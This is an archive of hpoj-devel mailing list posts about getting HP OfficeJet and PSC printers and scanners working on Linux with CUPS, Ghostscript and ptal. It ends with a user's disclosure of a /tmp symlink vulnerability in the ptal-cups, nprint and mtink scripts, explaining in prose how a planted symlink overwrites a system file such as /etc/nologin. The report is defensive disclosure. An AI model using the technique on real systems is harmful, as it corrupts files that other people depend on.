Re: [hpoj-devel] OfficeJet 4100 - can't get this printer to work with HPOJ 0.91

[Darren C. <dc...@ws...>]

Hi all,

Searching the archives I find that I an having this exact same problem 
with my OfficeJet 7110.  I am running debian unstable using libusb 
0.1.8 (latest stable), hpoj 0.91-4 and hpijs 1.5.  ptal-init gives me 
the

Probing "/dev/usb/lp0"...
     *** Found "officejet 7100 series" but failed to communicate with it!
     *** Elapsed time for this attempt was 6 second(s).
     *** Check syslog file for ptal-mlcd error messages.
     *** See hpoj documentation for troubleshooting information.

 From dmesg I see no errors, the relevant stuff is

usb.c: USB new device connect, assigned device number 2
hub.c: USB hub found
hub.c: 4 ports detected
hub.c: USB new device connect on bus1/2/2, assigned device number 3

active driver.

printer.c: usblp0: USB Bidirectional printer dev 3 if 0 alt 0

likewise there are now errors in the cups log.  In /var/log/messages I 
see the same as in dmesg.  In /var/log/syslog I see:

which makes me wonder.  The usb/lp0 is my officejet and the usb/lp1 is 
a brother printer that runs perfectly under cups.  At the moment the 
officejet is not added to the cups configuration at all although if I 
try to add it to cups then I see ptal device not found and if I choose 
USB Printer #1 then I can print nothing at all...

Another possibly related issue is that if I let ptal-init look for 
parallel devices it claims to find one but there is nothing connected 
to the parallel port... just tossing that in in case it is of 
consequence.

Has this problem been resolved?  Can anyone point me in the right 
direction?

Thanks,
Darren

[hpoj-devel] Unlimited Length Scanning

[Kevin M. <Kev...@au...>]

Hello,

I am trying to find out which models provide support for unlimited length
scanning.  HP doesn't document this capability, but I see that unlimited
length scanning is supported for some models in the docs for libsane-hpoj.
Furthermore, by scanning through the source, I can see where the unlimited
length scanning option is only enabled for models that use PML.  How can I
determine which models support PML?  Is there only a subset of PML-based
models that can actually support unlimited length scanning?

Thanks,
Kevin M.

Thanks Cory and Till.  For the benefit of anyone reading the archives: I 
had previously installed the gnu-ghostscript (gentoo) package, the one 
tweaked by the cups folks.  This should have installed the main 
(aladdin) fonts as well (and I checked that it did).  However, I didn't 
think to check gs -h to see if the path was in there.  My fix was to 
uninstall that gnu ghostscript and install the aladdin one (or whatever 
they are called now)

Similarly for others on gentoo, the docs suggest installing the older 
ucd-snmp package, however, I couldn't make this work straight off, but 
the newer net-snmp package worked nicely.  Perhaps it would be worth 
updating the docs to reflect this?  In any case gentoo users should try 
the newer package, seems to work a little better for me at least.

Thanks all.  Bar the question about scanning speeds being slower over 
the network than the USB, and also how to remove the top cover to clean 
the underside of the glass I think I am up and running now.  Thanks very 
much for your help

For HPIJS all GhostScript versions with the "ijs" device (see output of 
"gs -h") are suitable: ESP, GNU, and AFPL. But it is also important that 
the fonts from the ghostscript-fonts package are available in a 
directory listed in the end of the "gs -h" output.

[hpoj-devel] Slow scanner on PSC 2510 when using network

[Ed W. <li...@wi...>]

Thanks for all the help getting the printer going.  Just a quick 
question about the speed of the driver with regards to scanning:

The windows machine seems to scan things incredibly quickly (like at 
preview type speeds, just a few secs).  The linux machine scans in 
something like 30 secs for USB with an A4 page at 300dpi.  But the linux 
machine (same one) over the network takes about twice or three times as 
long when scanning over the network...?  Looking at the network activity 
I can see a pretty constant 250KB/s transfer rate (network is all 100Mb 
switched full duplex, and working fine, no errors, etc)

Is this a known/common issue?  Scanner app is xsane for what it's worth.

I'm still very impressed with the box - thanks HP, and thanks also to 
everyone who has developed the drivers.

Hi all,

Thanks for the advice.  I removed the cups ghostscript package and tried 
the (newer)  ghostscript-afpl package.  Looking at the build files they 
both install the (same) fonts in the same place and I verified that that 
I got the same thing in both cases.  However, NOW initial signs are that 
printing is working here (test page pops out OK at least)

So it appears that a faulty ghostscript setup was to blame.  Sorry for 
the noise and thanks for the help everyone

Re: [hpoj-devel] Driver probllem with PSC 2510

[Till K. <til...@gm...>]

Do you have the ghostscript-fonts package installed? Are the fonts 
accessible through one of the directories listed in the end of the 
output of "gs -h"? Set an appropriate symbolic link if not.

OK, cancel that last bit.  Now I partly understand why I am being a muppet.

OK, following the (obvious now) instructions at: 
http://www.cups.org/cups-help.html - I enable LogLevel debug in 
cups.conf and now I get a whole spew of stuff in the cups log.

Significant bits seem to be:

D [25/Mar/2004:01:29:07 +0000] [Job 41] PPD file: /etc/cups/ppd/HP.ppd
D [25/Mar/2004:01:29:07 +0000] [Job 41] Printer model: HP PSC 2500 
Foomatic/hpijs (recommended)

(Is that correct for the PSC2510?)

Then it all looks good up until a warning about perl locales not being 
set (but I assume this is not actually a real issue?), and then:

D [25/Mar/2004:01:29:07 +0000] [Job 41] foomatic-gswrapper: gs '-dBATCH'

Font   Helvetica-Bold   382791   Helvetica-Bold   --nostringval--   
Courier   (Courier)   Courier

Which looks like the problem.  (note it did successfully run the 
previous "renderer command: gs -q ...etc..." command successfully, this 
is the second command after all the parsing stuff.

and then finally I get "ESP Ghostscript 7.07.1: Unrecoverable error, 
exit code 1".

It's nearly 2am here, so need to stop now.  Thanks very much to those 
who offered advice - sorry for the noise.  If anyone has any tips on how 
to isolate and debug this font issue then that would be appreciated.

Thanks all

Thanks Cory,

I'm a bit lost at sea about how to do this though...?  I have nothing at 
all in my log files (other than the startup event of ptal, etc), perhaps 
I'm not logging everything though...?  What's the default logging 
level?  Should I need to beef it up to catch such problems...?  For 
example I'm logging lpr.* and not seeing anything in there at all?

Sorry to be a muppet, I'm not a complete linux newbie, but I'm really 
not familiar with how CUPS, lpr and hpoj fit together.  Could you please 
describe what I should be testing here - I don't mean step by step, but 
basically what should cups be doing, and how can I see if it is or not - 
pointers to relevant documentation are more than sufficient.  Pointers 
as to how to manually flex gs/foomatic would be appreciated as well...  
To be clear I have an epson 750 setup and printing fine through CUPS via 
gimp-print so I have at least some of the basics all configured here.

Many thanks for any help


By the way - I only mention this since there seems to be HP folks 
listening: I've been *really* impressed with the PSC 2510.  It's the 
first time I've owned such a gadget, and previously was put off at the 
idea of the compromise, but it's actually pretty good!  It's quite cool 
being able to scan from any machine across the network, and it's pretty 
handy to be able to fax direct from the windows machines (anyone working 
on adding that to the linux driver..?)  Thanks for creating such a great 
gadget.

My only comments are that it would be nice to have better profiles 
delivered with the printer (on windows the output does not match the 
*calibrated* screen very well, also I have lusted after a roll paper 
feed for a while.  An automated document feeder, and duplexer would be 
nice too... (Something like the photo printer crossed with the officejet 
7130...)

Also, the scanner arrived with a lot of dirt and smears UNDER the 
glass.  I'm in the UK, and it's just too hard to send stuff back here, 
so I will live with it - but is it possible to download the service 
manual from anywhere to locate all the screws to remove the top cover to 
clean the glass...?  I appreciate the implications, but quite happy to 
accept them.

Thanks HP for all your support.  I would definitely recommend this 
product to a friend

Thanks for the thoughts. 

Device URI's tried are:
  ptal:/hpjd:192.168.105.11
  socket://192.168.105.11:9100/
  ptal:/mlc:usb:psc_2500_series

All give the same effect, instantly the job is "Aborted".  (Which 
suggests that it never goes anywhere at all...  Certainly there are no 
flashes or noises from the printer to suggest that it just received some 
data)

foomatic and ghostscript *should* be setup.  I have an epson 750 running 
correctly through gimp-print and cups.  Not completely sure what needs 
to be setup for the HP though.

On my gentoo system I just grab all the packages, foomatic, cups, 
ghostscript, gimprint, snmp, hpoj, hpij, others that I forgot...?  Then 
the only setup is to fire up cups via the localhost:631 link and the 
Epson was installed and running just by adding a new printer.  I am 
trying the same thing for the HP, ie just adding in the printer def.

As you point out I think it is something after CUPS which is failing, 
perhaps in the ghostscript/foomatic end, perhaps in the spooler section? 

I can do "cat blah |  ptal-print".  Should I be able to do something 
with lpr to simulate the bit happening after cups?  I really don't quite 
understand the printing subsytem on linux, so some pointers to docs or 
bits to debug would be appreciated.

I have just printed the test page via my windows machine, so the printer 
seems to be working!

Thanks all

Re: [hpoj-devel] Driver probllem with PSC 2510

[Cory M. <cor...@hp...>]

So you do have CUPS setup. What device URI are you using? It should be
should be something like mlc:usb://

Also, you may need to emerge the foomatic and ghostscript systems if you
haven't down that already.

[hpoj-devel] Driver probllem with PSC 2510

[Ed W. <ed...@wi...>]

Hi, I'm tearing my hair out trying to get my new HP PSC 2510 working.  
Print jobs just keep saying "Aborted"...

Basically, I have loaded hpoj 1.5 and hpij 0.91 (ie latest of each). 
- Basic communication seems to work over both network and USB (although 
there are some gremlins...). 
- Scanning works through xsane both over the network and over USB.
- I can send stuff to the printer with "echo somefile.txt | ptal-print" 
and after a bit of a pause it pops out.

I then tried CUPS, restarted it, etc, added a new printer on both USB 
and network, choose the "PSC 2500 hpis" driver option from the bottom of 
the list. 

Then I click print test page, and nothing happens.  I check the 
completed jobs page, and it reports that the job was "aborted"...  This 
happens on both network and USB, and if I try to print a real print job 
as well.

Can anyone please help me track this one down!  I need a few clues as to 
how to debug this further.  It would seem that either there is a problem 
with my print driver, or else an issue with the connection from CUPS to 
ptal-print?  Can I work out which? 

Did I need to do anything else during install?  Basically I am running 
gentoo, so I just did "emerge hpoj", and it appears to have auto 
generated all the ppd files.  Is this something to check though?

Any help gratefully appreciated

Ed W

P.S. I tried in CUPS adding a jet-direct connection to the printer (ie 
not using the hpjd: device), this still gives the same symptoms.  Does 
this point to a problem with the print driver?

Hpoj only needs io.h for ioperm/iopl which I think are only needed on
i386. Just not using these might just work but I have to check.

Guido,

You are quite right hpoj does not build with parallel port support on sparc:
http://buildd.debian.org/fetch.php?&pkg=3Dhpoj&ver=3D0.91-2&arch=3Dsparc&st=
amp=3D1072845060&file=3Dlog&as=3Draw

Have a look at http://bugs.debian.org/116772. The upstream hpoj configure=20
script expressly disables parallel support if sys/io.h isn't available.

Without io.h I doubt that hpoj can support parallel port operation (but I=20
could be wrong), how do you propose that hpoj can access the parallel port =
on=20
these architectures without io.h?

I'm having the same exact problems in debian unstable and hope that once
you find a solution you will post it here... As a side note: the printer
did work fine under RH 9.0 a couple of months ago.

Re: [hpoj-devel] OfficeJet 4100 - can't get this printer to work with HPOJ 0.91

[Cory M. <cor...@hp...>]

Can you check the CUPS logs and and dmesg and tell me if you get any
error messages there? Also, after you run Ptal-init, how are you then
setting up the device? 

Another thing you might want to do, is start fresh again. Remove all the
hpoj stuff. Restart CUPS. Upgrade hpijs with the tar ball. Then install
the hpoj-0.91 tar ball (not CVS, even though they should be exactly the
same). Restart CUPS with #killall cupsd -HUP and then use the web
interface (http://localhost:631) to setup your device...

Re: [hpoj-devel] hp1100a

[Karl G. <ka...@ma...>]

No, i gave up about 4 months ago attempting to get hpoj stable on my 
box.  I tried on RH8 and Fedora Core 1, neither of which i could get 
sane to see the scanner, and the printing was very unstable.  (the 
printer would lockup, needing a power reset, and restart of hpoj)  I've 
gone back to standard cups and using it as a printer/copier.  Been rock 
solid since. (but no scanning)

Hi Cory,

I checked out the version from CVS - this would be Friday or Saturday
IIRC.  I compiled that.

For libusb, I used the latest stable version (0.1.8 - not 0.8.1 as I
erroneously said in my previous email).

I'm running Debian/stable, but I uninstalled hpoj and removed libusb
files by hand before installing the above.

Symptoms at the moment:

(1) If I reboot, then I can detect the printer using ptal-init setup.
Printing doesn't work, with essentially the same error as before.  I
can get the exact error if you like, but I'll need to wait for a
convenient time to reboot my server.

(2) After that, running ptal-init setup doesn't see the printer at
all, although the kernel can see it.

(3) Scanning works (using SANE's scanimage tool).

All in all, not much difference between using the CVS version and
using the previous hpoj version from Debian.

Rich.

[hpoj-devel] Ptal-cups, nprint and mtink scripts security vulnerabilities.

[<sha...@ya...>]

Hello list,

---
This is my first post to the list, so please excuse me
if I have posted to the wrong list, or if I miss out
any information in the bug report.
---


I have discovered potential security issues in the
ptal cups backend script, nprint script and mtink
script, usually found in /usr/lib/cups/backend or
otherwise.  The issues are symlink vulnerabilities,
and are due to insecure file handling.  

From /usr/lib/cups/backend/ptal (linked to
/usr/bin/ptal-cups):

---

In various instances, 'echo' invokations are called in
the script to write debugging information to
/tmp/printargs ONLY IF DEBUGGING IS ENABLED (if DEBUG
is set).  However, no file checks are performed on
/tmp/printargs for symlinks or otherwise an existance
of the file - this is a recipe for trouble, as an
attacker could simply create a symlink called
/tmp/printargs to a sensitive system file, and if
debugging in the script is enabled, the system file
*will* be corrupted.

Exactly the same vulnerability exists in the mtink and
nprint scripts.  As seen below:

--- EO attack

As can be seen above, I created a link from
/tmp/printargs, enabled debugging as root (I could've
also uncommented the "#DEBUG=true" line in the ptal
backend), and ran the ptal-cups script as root.  Then,
I tested if the attack had worked, by checking the
contents of /etc/nologin - it had clearly written to
/etc/nologin.


BTW, the vulnerability only exists if debugging is
enabled, by setting the DEBUG variable to non-null. 
However, I am betting that at least a few people in
the world have debugging enabled in ptal-cups, nprint
or the mtink script.  If debugging is enabled, the
consequences could be quite severe.  In my opinion,
this is most definately a security issue.

My system:

A suggested fix for this is to check for the existance
of /tmp/printargs and /tmp/printout before writing to
them.  Maybe use a 'if [ -e ...]' type statement.

If anybody needs more info, don't hesistate to ask :)

How many people here have debugging enabled in their
tal-cups, nprint and mtink scripts, BTW?



Thank you for your time.
Shaun.
